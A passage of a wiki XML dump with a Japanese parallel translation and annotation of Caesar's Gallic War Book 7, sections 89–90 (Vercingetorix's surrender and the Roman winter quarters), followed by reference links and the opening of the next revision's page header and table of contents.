[[画像:Lionel Royer - Vercingetorix Throwing down His Weapons at the feet of Julius Caesar.jpg|thumb|right|330px|「ウェルキンゲトリークスが彼の武器をユリウス・カエサルの足元に投げ捨てる」“Vercingétorix jette ses armes aux pieds de Jules César”、リオネル＝ノエル・ロワイエ（[[w:fr:Lionel Royer|Lionel-Noël Royer]]）
画、1899年。[[w:ル・ピュイ＝アン＝ヴレ|ル・ピュイ=アン=ヴレ]]のクロザティエ美術館（[[w:fr:Musée Crozatier au Puy-en-Velay|Musée Crozatier]] au [[w:fr:Le Puy-en-Velay|Puy-en-Velay]]）蔵。]]
[[画像:Coin_Vercingetorix.jpg|thumb|right|300px|ローマがBC48年に発行した[[w:デナリウス|デナリウス銀貨]]。ウェルキンゲトリークスの横顔が刻まれているとも言われ、[[w:マメルティヌスの牢獄|トゥッリアヌム牢獄]]に虜囚となっているかつてのガッリアの盟主を見せしめにしたものとも考えられる。彼はBC46年に処刑されたが、カエサルもBC44年に暗殺された。]]
'''ウェルキンゲトリークスとアレスィア籠城軍の降伏'''
*①　Postero die [[w:la:Vercingetorix|Vercingetorix]] concilio convocato 
**（来援軍が敗走した）翌日に、[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]は会合を召集して、
*id bellum se suscepisse&lt;ref&gt;se suscepisse はα系写本の記述で、β系写本では suscepisse se となっている。&lt;/ref&gt; 
**この戦争を引き受けたことは
*non suarum necessitatum&lt;ref&gt;necessitatum はχ系･S･L･N･β系写本の記述で、B･M写本では necessitatium となっている。&lt;/ref&gt;, sed communis libertatis causa demonstrat, 
**自らの（野心の）必要性からではなく、（ガッリア）共通の自由のためだ、と明言した。
*②　et quoniam sit fortunae cedendum, 
**運命には従うべきものなのであるから、
*ad utramque rem se illis offerre, 
**（敗軍の将として、以下の）どちらの事にも、自ら（の処遇）を彼ら（ガッリア人たち）に委ねよう。
*seu morte sua Romanis satisfacere 
**あるいは（ウェルキンゲトリークス）自らの死によってローマ人たちに償うこと（を欲する）にせよ、
*seu vivum tradere velint. 
**あるいは生きたまま（ローマ人たちに）引き渡すことを欲するにせよ、と。
*③　Mittuntur de his rebus ad Caesarem legati. 
**これらの事柄について、カエサルのところへ使節たちが遣わされた。
*Iubet arma tradi, principes produci. 
**（カエサルは）武器が引き渡されること、領袖たちが連行されて来ることを命じた。
*④　Ipse in munitione pro castris consedit; 
**（カエサル）自身は、陣営の前の塁壁のところに腰掛けた。
*eo duces producuntur. 
**そこに（アレスィアに籠城していた）将帥たちが連行されて来た。
*Vercingetorix deditur, arma proiciuntur. 
**ウェルキンゲトリークスが引き渡されて、武器が投げ捨てられた。
*⑤　Reservatis [[w:la:Haedui|Haeduis]] atque Arvernis, 
**（カエサルは）[[w:ハエドゥイ族|ハエドゥイー族]]と[[w:アルウェルニ族|アルウェルニー族]]（の将兵たち）を保持しておいた。
*si per eos civitates reciperare&lt;ref&gt;reciperare はχ系･B&lt;sup&gt;1&lt;/sup&gt;･S･U写本の記述で、B&lt;sup&gt;c&lt;/sup&gt;･M･L･N･π系･R写本では recuperare となっている。&lt;/ref&gt; posset, 
**彼らによって両部族国家を（同盟国として）回復できないだろうかと（考えたのだ）。
*ex reliquis captivis toto exercitui capita singula praedae nomine distribuit.
**残りの（諸部族の）捕虜たちから、全軍（のローマ人）に一名ずつを戦利品という名目で分配した。

===90節===
[[画像:Autun_porte_Saint-André.JPG|thumb|right|300px|[[w:オータン|オータン市]]に遺されたローマ時代からの聖アンドレ門。[[w:ビブラクテ|ビブラクテ]]を首邑としていた[[w:ハエドゥイ族|ハエドゥイー族]]は、ローマ帝政初期に東方の平地に移り、「[[w:アウグストゥス|アウグストゥス]]の砦」を意味するアウグストドゥーヌム（[[w:la:Augustodunum|Augustodunum]]）を建設して首邑とした。これが現在のオータン（Autun）となっている。]]
[[画像:Clermont_vu_de_Montjuzet.JPG|thumb|right|300px|[[w:クレルモン＝フェラン|クレルモン＝フェラン市]]の街並み。ローマに降伏した[[w:アルウェルニ族|アルウェルニー族]]は、後に首邑のゲルゴウィアを廃城とされ、北方の平野にあるネメトゥム（Nemetum）に移住させられた。帝政初期に[[w:アウグストゥス|アウグストゥス]]に由来するアウグストネメトゥム（[[w:la:Augustonemetum|Augustonemetum]]）に改称して、[[w:クレルモン教会会議|クレルモン教会会議]]が開かれるなど宗教的中心地として栄え、現在のクレルモン＝フェランに至る。]]
'''ハエドゥイー族とアルウェルニー族の降伏、諸軍団の冬営'''
*①　His rebus confectis in [[w:la:Haedui|Haeduos]] proficiscitur; 
**これらの事が成し遂げられて、（カエサルは）[[w:ハエドゥイ族|ハエドゥイー族]]のところに出発した。
*civitatem recipit. 
**同部族を（同盟国として）回復した。
*②　Eo legati ab Arvernis missi: 
**そこに、[[w:アルウェルニ族|アルウェルニー族]]から使節たちが遣わされて来て、
*quae imperaret, se facturos pollicentur. 
**自分たちは（カエサルが）命令したことを行なうであろう、と約束した。
*Imperat magnum numerum obsidum. 
**（カエサルは）多数の人質（の供出）を命令した。
*③　Legiones in hiberna mittit. 
**（カエサルは）諸[[w:ローマ軍団|軍団]]を冬営地に派遣した。
*Captivorum circiter XX(viginti) milia Haeduis Arvernisque reddit. 
**捕虜たち約2万人をハエドゥイー族とアルウェルニー族に返還した。
*④　[[w:la:Titus Labienus|T.&lt;small&gt;(Titum)&lt;/small&gt; Labienum]] duabus cum&lt;ref&gt;duabus cum はχ系･B･M･S写本の記述で、L･N･β系写本では cum duabus となっている。&lt;/ref&gt; legionibus et equitatu in Sequanos proficisci iubet; 
**[[w:ティトゥス・ラビエヌス|ティトゥス・ラビエーヌス]]を2個軍団および[[w:騎兵|騎兵隊]]とともにセクアニ族のところに出発することを命じた。
*huic M.&lt;small&gt;(Marcum)&lt;/small&gt; Sempronium Rutilum attribuit. 
**彼には、マルクス・[[w:センプロニウス氏族|センプロニウス]]・ルティルスを付属させた。
*⑤　C.&lt;small&gt;(Gaium)&lt;/small&gt; Fabium legatum et L.&lt;small&gt;(Lucium)&lt;/small&gt; Minucium Basilum cum legionibus duabus in Remis conlocat, 
**副官 ガーイウス・ファビウスとルキウス・ミヌキウス・バスィルスを2個軍団とともにレーミー族のところに配置した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：バスィルスは[[ガリア戦記 第6巻#29節|第6巻29節]]で騎兵隊を指揮した。）&lt;/span&gt;
*ne quam ab&lt;ref&gt;ab はφ系写本の記述で、χ系･β系写本では a となっている。&lt;/ref&gt; finitimis Bellovacis calamitatem accipiant. 
**（レーミー族が）近隣のベッロウァキ族から何らかの災禍を蒙らないようにしたのである。
*⑥　C.&lt;small&gt;(Gaium)&lt;/small&gt; Antistium Reginum in Ambivaretos, 
**ガーイウス・アンティスティウス・レーギーヌスをアンビウァレティ族のところに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：''[[w:fr:Caius Antistius Reginus|Gaius Antistius Reginus]]'' は[[ガリア戦記_第6巻#1節|第6巻1節]]、[[#83節|本巻83節]]で既出。）&lt;/span&gt;
*T.&lt;small&gt;(Titum)&lt;/small&gt; Sextium in Bituriges, 
**ティトゥス・セクスティウスをビトゥリゲース族のところに、
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：[[w:en:Titus Sextius|Titus Sextius]] も[[ガリア戦記_第6巻#1節|第6巻1節]]で既出。第6巻の年からカエサルの副官、&lt;br&gt;　　　　　[[w:三頭政治#第二回三頭政治|第二回三頭政治]]では[[w:アフリカ属州|アフリカ属州]]の総督を務め、[[w:マルクス・アエミリウス・レピドゥス|レピドゥス]]に引き継ぐ。）
*C.&lt;small&gt;(Gaium)&lt;/small&gt; Caninium Rebilum in Rutenos cum singulis legionibus mittit. 
**ガーイウス・カニニウス・レビルスをルテーニー族のところに、それぞれ1個軍団とともに派遣した。
*⑦　[[w:la:Quintus Tullius Cicero|Q.&lt;small&gt;(Quintum)&lt;/small&gt; Tullium Ciceronem]] et P.&lt;small&gt;(Publium)&lt;/small&gt; Sulpicium 
**[[w:クィントゥス・トゥッリウス・キケロ|クィーントゥス・トゥッリウス・キケロー]]とプーブリウス・スルピキウス（・ルーフス）を
**:&lt;span style=&quot;color:#009900;font-family:Times New Roman;&quot;&gt;（訳注：カエサルの副官 ''[[w:en:Sulpicia_gens#Sulpicii_Rufi|Publius Sulpicius Rufus]] は、&lt;br&gt;　　　　[[ガリア戦記_第4巻#22節|第4巻22節]]で既述。[[内乱記_第1巻#74節|『内乱記』第1巻74節]]でも言及される。&lt;br&gt;　　　　[[w:紀元前48年|BC48年]]に[[w:プラエトル|法務官]]、[[w:紀元前42年|BC42年]]に[[w:ケンソル|監察官]]に任官する。）&lt;/span&gt;
*[[w:la:Cabillonum|Cavilloni]]&lt;ref&gt;Cavilloni はβ系写本の記述で、α系写本などでは Cabilloni となっている。&lt;/ref&gt; et [[w:la:Matisco|Matiscone]] in Haeduis ad Ararim rei frumentariae causa conlocat. 
**ハエドゥイー族のところのアラル川沿いのカウィッロヌムとマティスコに、糧秣調達のために配置した。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：カウィッロヌムは現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]、マティスコは現在の[[w:マコン|マコン]]。）&lt;/span&gt;
*Ipse [[w:la:Bibracte|Bibracte]] hiemare constituit. 
**（カエサル）自身は、[[w:ビブラクテ|ビブラクテ]]で冬営することを決めた。
*⑧　His litteris&lt;ref&gt;his litteris「これらが書簡により（知られると）」はα系写本の記述で、β系写本では huius anni rebus「この年の事績が（知られると）」と異なっており、huius anni rebus &lt;ex Caesaris&gt; litteris「この年の事績が＜カエサルの＞書簡により（知られると）」 などと修正提案されている。」&lt;/ref&gt; cognitis Romae dierum viginti supplicatio redditur.
**これらが（カエサルの）書簡により知られると、ローマで20日間の感謝祭が許された。
**:&lt;span style=&quot;color:#009900;&quot;&gt;（訳注：[[ガリア戦記 第2巻#35節|第2巻35節]]では、かつてない15日間の感謝祭が決議されたが、今回はそれを超えるものであった。）&lt;/span&gt;
----
*&lt;span style=&quot;background-color:#99ff99;&quot;&gt;「ガリア戦記 第7巻」了。「[[ガリア戦記 第8巻]]」へ続く。&lt;/span&gt;

==脚注==
&lt;references /&gt;
==参考リンク==
'''ウィキペディア英語版など'''
*'''[[w:en:Category:Tribes of ancient Gaul|Category:Tribes of ancient Gaul]]'''（'''[[w:Category:ガリアの部族|Category:ガリアの部族]]'''）- [[w:fr:Catégorie:Personnalité gauloise|fr:Catégorie:Personnalité gauloise]]
**[[w:en:Allobroges|Allobroges]]（アッロブロゲス族）
**'''[[w:en:Arverni|Arverni]]'''（'''[[w:アルウェルニ族|アルウェルニー族]]'''）
**:'''[[w:en:Vercingetorix|Vercingetorix]]'''（'''[[w:ウェルキンゲトリクス|ウェルキンゲトリークス]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Vercingetorix|la:Vercingetorix]]&lt;/span&gt;'''
**:[[w:fr:Celtillos|fr:Celtillos]]（ケルティッルス）；ウェルキンゲトリークスの父
**:[[w:fr:Gobannitio|fr:Gobannitio]]（ゴバンニティオ）；ウェルキンゲトリークスのおじ
**:[[w:en:Vercassivellaunos|Vercassivellaunos]]（ウェルカッスィウェッラウヌス） - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Vercassivellaunus|la:Vercassivellaunus]]&lt;/span&gt;
**:Critognatus（クリトグナトゥス）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Critognatus|la:Critognatus]]&lt;/span&gt;
**[[w:en:Atrebates|Atrebates]]（アトレバテス族）
**:[[w:en:Commius|Commius]]（[[w:コンミウス|コンミウス]]）：ガッリアとブリタンニアにおけるアトレバテス族の王
**[[w:en:Aedui|Aedui]]（[[w:ハエドゥイ族|ハエドゥイー族]]）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Haedui|la:Haedui]]&lt;/span&gt;'''；ガッリア中部の有力部族 - [[w:fr:Éduens|fr:Éduens]] ＜[[w:fr:Catégorie:Éduens|fr:Catégorie:Éduens]]
**:[[w:en:Convictolitavis|Convictolitavis]]（コンウィクトリタウィス）- [[w:fr:Convictolitavis|fr:Convictolitavis]]
**:[[w:fr:Cotos|fr:Cotos]]（コトゥス）
**:[[w:fr:Litaviccos|fr:Litaviccos]]（リタウィックス）
**:エポレドリクス - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Eporedorix|la:Eporedorix]]&lt;/span&gt;
**:ウィリドマルス
**[[w:en:Andes (Andecavi)|Andes (Andecavi)]]（アンデス族）；現在の[[w:アンジェ|アンジェ]]（Angers）周辺の部族
**[[w:en:Aulerci|Aulerci]]（アウレルキ族）；現在のフランス北西部に居住していた部族連合
**[[w:en:Bellovaci|Bellovaci]]（ベッロウァキ族）
**[[w:en:Bituriges|Bituriges]]（ビトゥリゲース族）；現在の[[w:ブールジュ|ブールジュ]]（Bourges）周辺の部族。[[#5節|5節]]でガッリア同盟軍に寝返る。
**[[w:en:Boii|Boii]]（ボイイ族）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Boii|la:Boii]]&lt;/span&gt;；[[w:ボヘミア|ボヘミア]]（[[w:la:Bohemia|la:Bohemia]]）から移住してきた部族
**Cadurci（カドゥルキー族）；現在の[[w:カオール|カオール]]（Cahors）周辺の部族 - [[w:fr:Cadurques|fr:Cadurques]]
**:[[w:en:Lucterius|Lucterius]]（ルクテリウス）；カドゥルキー族の指導者、[[#5節|5節]]を参照。
**[[w:en:Carnutes|Carnutes]]（カルヌーテース族）；現在の[[w:シャルトル|シャルトル]]（Chartres）周辺の部族
**[[w:en:Gabali|Gabali]]（ガバリ族）
**Haedui ⇒ Aedui
**[[w:en:Helvii|Helvii]]（ヘルウィイ族）；ガッリア南部にいたローマの同盟部族
**[[w:en:Lemovices|Lemovices]]（レモウィケス族）；現在の[[w:リモージュ|リモージュ]]（Limoges）周辺の部族
**:[[w:en:Sedullos|Sedullos]]（セドゥッルス　Sedullus）；レモウィケス族の将帥・領袖
**[[w:en:Lingones|Lingones]]（リンゴネス族）- [[w:fr:Lingons|fr:Lingons]]；現在のラングル（[[w:en:Langres|Langres]]）周辺の部族
**[[w:en:Mandubii|Mandubii]]（マンドゥビイ族）；[[w:アレシア|アレスィア]]周辺にいた部族
**Nitiobroges（ニティオブロゲス族）- [[w:fr:Nitiobroges|fr:Nitiobroges]]
**:[[w:fr:Ollovico|fr:Ollovico]]（オッロウィコ）；ローマ元老院から友人と呼ばれた王
**:[[w:fr:Teutomatos|fr:Teutomatos]]（テウトマトゥス）；王で、オッロウィコの子
**[[w:en:Parisii (Gaul)|Parisii (Gaul)]]（[[w:パリシイ族|パリスィイ族]]）；現在の[[w:パリ|パリ]]周辺の部族
**[[w:en:Pictones|Pictones]]（ピクトネス族）；現在の[[w:ポワチエ|ポワティエ]]（Poitiers）周辺の部族
**[[w:en:Remi|Remi]]（レーミー族）
**[[w:en:Ruteni|Ruteni]]（ルテーニー族）
**[[w:en:Segusiavi|Segusiavi]]（セグスィアウィ族）
**[[w:en:Senones|Senones]]（セノネース族）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Senones|la:Senones]]&lt;/span&gt;；現在の[[w:サン (ヨンヌ県)|サン]]（Sens）周辺の部族
***[[w:en:Acco|Acco]]（アッコー）
**[[w:en:Sequani|Sequani]]（セクアニ族）
**[[w:en:Treveri|Treveri]]（トレウェリ族）
**[[w:en:Turones|Turones]]（トゥロニ族／トゥロネス族）；現在の[[w:トゥール (アンドル＝エ＝ロワール県)|トゥール]]（Tours）周辺の部族
**[[w:en:Volcae|Volcae]]（ウォルカエ族）
*&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Germani|la:Germani]]&lt;/span&gt;（ゲルマニア人）


*'''ガッリアの地名''' - '''[[w:la:Categoria:Urbes Franciae|la:Categoria:Urbes Franciae]]'''（フランスの都市）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Agedincum|la:Agedincum]]&lt;/span&gt;（アゲディンクム）；現在の[[w:サンス|サンス]]（[[w:en:Sens|Sens]]）
**[[w:en:Alesia_(city)|Alesia (city)]]（[[w:アレシア|アレスィア]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Alesia|la:Alesia]]&lt;/span&gt;：現在のアリーズ＝サント＝レーヌ（[[w:fr:Alise-Sainte-Reine|fr:Alise-Sainte-Reine]]）
**:'''[[w:en:Battle_of_Alesia|Battle of Alesia]]'''（'''[[w:アレシアの戦い|アレスィアの戦い]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Alesiae_pugna|la:Alesiae pugna]]&lt;/span&gt;'''
**[[w:en:Avaricum|Avaricum]] ⇒ [[w:en:Bourges|Bourges]]（アウァーリクム - 現在の[[w:ブールジュ|ブールジュ]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Avaricum_Biturigum|la:Avaricum Biturigum]]&lt;/span&gt;
**[[w:en:Bibracte|Bibracte]]（[[w:ビブラクテ|ビブラクテ]]） - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Bibracte|la:Bibracte]]&lt;/span&gt;：[[w:ハエドゥイ族|ハエドゥイー族]]の首邑。現在のボーヴレ山（[[w:fr:Mont_Beuvray|fr:Mont Beuvray]]）の山頂に位置していた。
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Cabillonum|la:Cabillonum]]&lt;/span&gt;（カビッロヌム／カウィッロヌム）- 現在の[[w:シャロン＝スュル＝ソーヌ|シャロン＝スュル＝ソーヌ]]（[[w:fr:Chalon-sur-Saône|fr:Chalon-sur-Saône]]）
**[[w:en:Cenabum|Cenabum]]（ケナブム）- 現在の[[w:オルレアン|オルレアン]] - [[w:fr:Cenabum|fr:Cenabum]]
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Decetia|la:Decetia]]&lt;/span&gt;（デケティア）- [[w:en:Decize|en:Decize]] - 現在のドスィーズ（ドシーズ）（[[w:fr:Decize|fr:Decize]]）
**[[w:en:Gergovie|Gergovie]]（ゲルゴウィア）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Gergovia|la:Gergovia]]&lt;/span&gt;
**:'''[[w:en:Battle of Gergovia|Battle of Gergovia]]'''（'''[[w:ゲルゴウィアの戦い|ゲルゴウィアの戦い]]'''）- '''&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Obsidio Gergoviensis|la:Obsidio Gergoviensis]]&lt;/span&gt;'''
**[[w:en:Gorgobina|Gorgobina]]（ゴルゴビナ）；ボイイ族が定住した城塞都市。現在のサン＝パリズ＝ル＝シャテル（[[w:en:Saint-Parize-le-Châtel|Saint-Parize-le-Châtel]]）またはラ・ゲルシュ（[[w:en:La Guerche|La Guerche]]）
**'''[[w:en:Lutetia|Lutetia]]'''（'''[[w:ルテティア|ルテティア]]'''／ルテキア）；[[w:パリシイ族|パリスィイ族]]の首邑、現在の[[w:パリ|パリ市]] - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Lutetia|la:Lutetia]]&lt;/span&gt;
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Matisco|la:Matisco]]&lt;/span&gt;（マティスコ）；現在の[[w:マコン|マコン]]（Mâcon）
**Metlosenum（メトロセドゥム／メティオセドゥム／メロドゥーヌム）；現在の[[w:ムラン|ムラン]] - &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Melodunum|la:Melodunum]]&lt;/span&gt;
**[[w:en:Narbonne|Narbonne]]（[[w:ナルボンヌ|ナルボンヌ]]；ラテン名ナルボ）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Narbo|la:Narbo]]&lt;/span&gt;；ガッリア南部・地中海岸のローマの拠点
**[[w:en:Noviodunum|Noviodunum]]（ノウィオドゥーヌム）- 現在のヌン＝スュル＝ブーヴロン（[[w:en:Neung-sur-Beuvron|Neung-sur-Beuvron]]）と推定されている。従来はローヌ川沿いの[[w:サンセール|サンセール]]（[[w:en:Sancerre|Sancerre]]）が有力だった
**[[w:en:Vellaunodunum|Vellaunodunum]]（ウェッラウノドゥーヌム）- [[w:fr:Vellaunodunum|fr:Vellaunodunum]]；現在のモンタルジ（[[w:en:Montargis|Montargis]]）やボーヌ＝ラ＝ロランド（[[w:en:Beaune-la-Rolande|Beaune-la-Rolande]]）、シャトー＝ランドン（[[w:en:Château-Landon|Château-Landon]]）などと推定されている
**[[w:en:Vienne, Isère|Vienne, Isère]]（ヴィエンヌ；ラテン名ウィエンナ）- [[w:la:Vienna|la:Vienna]]
*'''ガッリアの地形'''
**Cevenna（ケウェンナ山地）：現在のセヴェンヌ山地（[[w:fr:Cévennes|fr:Cévennes]]・[[w:en:Cévennes|Cévennes]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Elaver|la:Elaver]]&lt;/span&gt;（エラウェル川）：現在の[[w:アリエ川|アリエ川]]（[[w:fr:Allier (rivière)|fr:Allier (rivière)]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Liger|la:Liger]]&lt;/span&gt;（リゲル川）：現在の[[w:ロワール川|ロワール川]]（[[w:fr:Loire (fleuve)|fr:Loire (fleuve)]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Rhenus|la:Rhenus]]&lt;/span&gt;（レヌス川）：現在の[[w:ライン川|ライン川]]（[[w:fr:Rhin|fr:Rhin]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Rhodanus|la:Rhodanus]]&lt;/span&gt;（ロダヌス川）：現在の[[w:ローヌ川|ローヌ川]]（[[w:fr:Rhône|fr:Rhône]]）
**&lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Sequana|la:Sequana]]&lt;/span&gt;（セクアナ川）：現在の[[w:セーヌ川|セーヌ川]]（[[w:fr:Seine|fr:Seine]]）

*ローマ勢
**[[w:en:Mark_Antony|Mark Antony]]（[[w:マルクス・アントニウス|マルクス・'''アントニウス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Marcus_Antonius|la:Marcus Antonius]]&lt;/span&gt;
**[[w:en:Decimus_Junius_Brutus_Albinus|Decimus Junius '''Brutus''' Albinus]]（[[w:デキムス・ユニウス・ブルトゥス・アルビヌス|デキムス・ユニウス・'''ブルトゥス'''・アルビヌス]]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Decimus_Iunius_Brutus_Albinus|Decimus Iunius Brutus Albinus]]&lt;/span&gt;（[[#9節|9節]]）
**[[w:en:Quintus Tullius Cicero|Quintus Tullius '''Cicero''']]（[[w:クィントゥス・トゥッリウス・キケロ|クィントゥス・トゥッリウス・'''キケロ''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Quintus Tullius Cicero|la:Quintus Tullius Cicero]]&lt;/span&gt;：カエサルの副官
**Gaius '''Fabius'''（ガイウス・'''ファビウス'''）：カエサルの副官
**[[w:en:Titus Labienus|Titus '''Labienus''']]（[[w:ティトゥス・ラビエヌス|ティトゥス・'''ラビエーヌス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Titus Labienus|la:Titus Labienus]]&lt;/span&gt;：カエサルの副官
**[[w:en:Trebonius|'''Trebonius''']]（[[w:ガイウス・トレボニウス|ガイウス・'''トレボニウス''']]）- &lt;span style=&quot;background-color:#ffff00;&quot;&gt;[[w:la:Gaius_Trebonius|la:Gaius Trebonius]]&lt;/span&gt;：カエサルの副官
**[[w:en:Lucius Julius Caesar IV|Lucius Julius '''Caesar''' IV]]（ルキウス・ユリウス・'''カエサル'''4世）：総督カエサルの副官で、4代前の高祖父を共有する。BC64年に執政官を務めた。

*イタリア方面
**[[w:en:Cisalpine_Gaul|Cisalpine Gaul]]（[[w:ガリア・キサルピナ|ガッリア・キサルピーナ]]） - [[w:la:Gallia Cisalpina|la:Gallia Cisalpina]]
**[[w:en:Populares|Populares]]（[[w:ポプラレス|ポプラレス]]；民衆派）- [[w:la:Populares|la:Populares]]
**:[[w:en:Publius_Clodius_Pulcher|Publius Clodius Pulcher]]（[[w:プブリウス・クロディウス・プルケル|プブリウス・クロディウス・プルケル]]） - [[w:la:Publius_Clodius_Pulcher|la:Publius Clodius Pulcher]]
**[[w:en:Optimates|Optimates]]（[[w:オプティマテス|オプティマテス]]；元老院派）
**:[[w:en:Cicero|Cicero]]（[[w:マルクス・トゥッリウス・キケロ|マルクス・トゥッリウス・キケロ]]）- [[w:la:Marcus_Tullius_Cicero|la:Marcus Tullius Cicero]]
**:[[w:en:Titus_Annius_Milo|Titus Annius Milo]]（ティトゥス・アンニウス・ミロ）- [[w:la:Titus_Annius_Milo|la:Titus Annius Milo]]
**:[[w:en:Pompey|Pompey]]（[[w:グナエウス・ポンペイウス|グナエウス・ポンペイウス]]）- [[w:la:Gnaeus_Pompeius_Magnus|la:Gnaeus Pompeius Magnus]]</text>
      <sha1>thaxr7597r9y9njmz54qq4ii0namp3o</sha1>
    </revision>
    <revision>
      <id>305263</id>
      <parentid>305260</parentid>
      <timestamp>2026-11-01T08:34:29Z</timestamp>
      <contributor>
        <username>Linguae</username>
        <id>449</id>
      </contributor>
      <minor />
      <comment>/* ゲルゴウィア攻略戦、ハエドゥイー族の離反 */ 修整</comment>
      <origin>305263</origin>
      <model>wikitext</model>
      <format>text/x-wiki</format>
      <text bytes="562817" sha1="ptyny63v2abariti2nbohi48qejx7i0" xml:space="preserve">[[Category:ガリア戦記|7]] [[Category:ガリア戦記 第7巻|*]]
[[ガリア戦記]]＞&amp;nbsp;'''第7巻'''&amp;nbsp;＞[[ガリア戦記 第7巻/注解|注解]]
&lt;div style=&quot;text-align:center&quot;&gt;
&lt;span style=&quot;font-size:20px; font-weight:bold; font-variant-caps: petite-caps; color:white; background: rgb(47,94,255);background: linear-gradient(180deg, rgba(47,94,255,1) 0%, rgba(24,56,255,1) 50%, rgba(0,8,255,1) 100%);&quot;&gt;&amp;nbsp;C&amp;nbsp;IVLII&amp;nbsp;CAESARIS&amp;nbsp;COMMENTARIORVM&amp;nbsp;BELLI&amp;nbsp;GALLICI&amp;nbsp;&lt;/span&gt;

&lt;span style=&quot;font-size:40px; font-weight:bold; color:white; background: rgb(47,94,255);background: linear-gradient(180deg, rgba(47,94,255,1) 0%, rgba(24,56,255,1) 50%, rgba(0,8,255,1) 100%);&quot;&gt;&amp;nbsp;LIBER SEPTIMVS&amp;nbsp;&lt;/span&gt;
&lt;/div&gt;
[[画像:Gaule -52.png|thumb|right|150px|ガリア戦記 第7巻の情勢図（BC52年）。&lt;br&gt;黄色の領域がローマ領。桃色が同盟部族領。]]

{| id=&quot;toc&quot; style=&quot;align:left;clear:all;&quot; align=&quot;left&quot; cellpadding=&quot;5&quot;
! style=&quot;background:#ccccff; text-align:left;&quot; colspan=&quot;2&quot; | ガリア戦記 第7巻 目次
|-
| style=&quot;text-align:right; font-size: 0.86em;&quot;|
'''[[#カルヌーテース族の蜂起|カルヌーテース族の蜂起]]''':&lt;br /&gt;
'''[[#ウェルキンゲトリークスとガッリア同盟軍の蜂起|ウェルキンゲトリークスとガッリア同盟軍の蜂起]]''':&lt;br /&gt;
&lt;br /&gt;
'''[[#アウァーリクム攻略戦|アウァーリクム攻略戦]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ゲルゴウィア攻略戦、ハエドゥイー族の離反|ゲルゴウィア攻略戦、ハエドゥイー族の離反]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ラビエーヌスのルテティア遠征|ラビエーヌスのルテティア遠征]]''':&lt;br /&gt;
'''[[#ガッリア戦乱の拡大|ガッリア戦乱の拡大]]''':&lt;br /&gt;
'''[[#アレスィア攻囲戦|アレスィア攻囲戦]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
'''[[#ガッリア同盟軍主力の降伏|ガッリア同盟軍主力の降伏]]''':&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
| style=&quot;text-align:left; font-size: 0.86em;&quot;| 
[[#1節|01節]] |
[[#2節|02節]] |
[[#3節|03節]] &lt;br /&gt;
[[#4節|04節]] |
[[#5節|05節]] |
[[#6節|06節]] |
[[#7節|07節]] |
[[#8節|08節]] |
[[#9節|09節]] |
[[#10節|10節]] &lt;br /&gt;
[[#11節|11節]] |
[[#12節|12節]] |
[[#13節|13節]] &lt;br /&gt;
[[#14節|14節]] |
[[#15節|15節]] |
[[#16節|16節]] |
[[#17節|17節]] |
[[#18節|18節]] |
[[#19節|19節]] |
[[#20節|20節]] &lt;br /&gt;
[[#21節|21節]] |
[[#22節|22節]] |
[[#23節|23節]] |
[[#24節|24節]] |
[[#25節|25節]] |
[[#26節|26節]] |
[[#27節|27節]] |
[[#28節|28節]] |
[[#29節|29節]] |
[[#30節|30節]] &lt;br /&gt;
[[#31節|31節]] &lt;br /&gt;
[[#32節|32節]] |
[[#33節|33節]] |
[[#34節|34節]] |
[[#35節|35節]] |
[[#36節|36節]] |
[[#37節|37節]] |
[[#38節|38節]] |
[[#39節|39節]] |
[[#40節|40節]] &lt;br /&gt;
[[#41節|41節]] |
[[#42節|42節]] |
[[#43節|43節]] |
[[#44節|44節]] |
[[#45節|45節]] |
[[#46節|46節]] |
[[#47節|47節]] |
[[#48節|48節]] |
[[#49節|49節]] |
[[#50節|50節]] &lt;br /&gt;
[[#51節|51節]] |
[[#52節|52節]] |
[[#53節|53節]] |
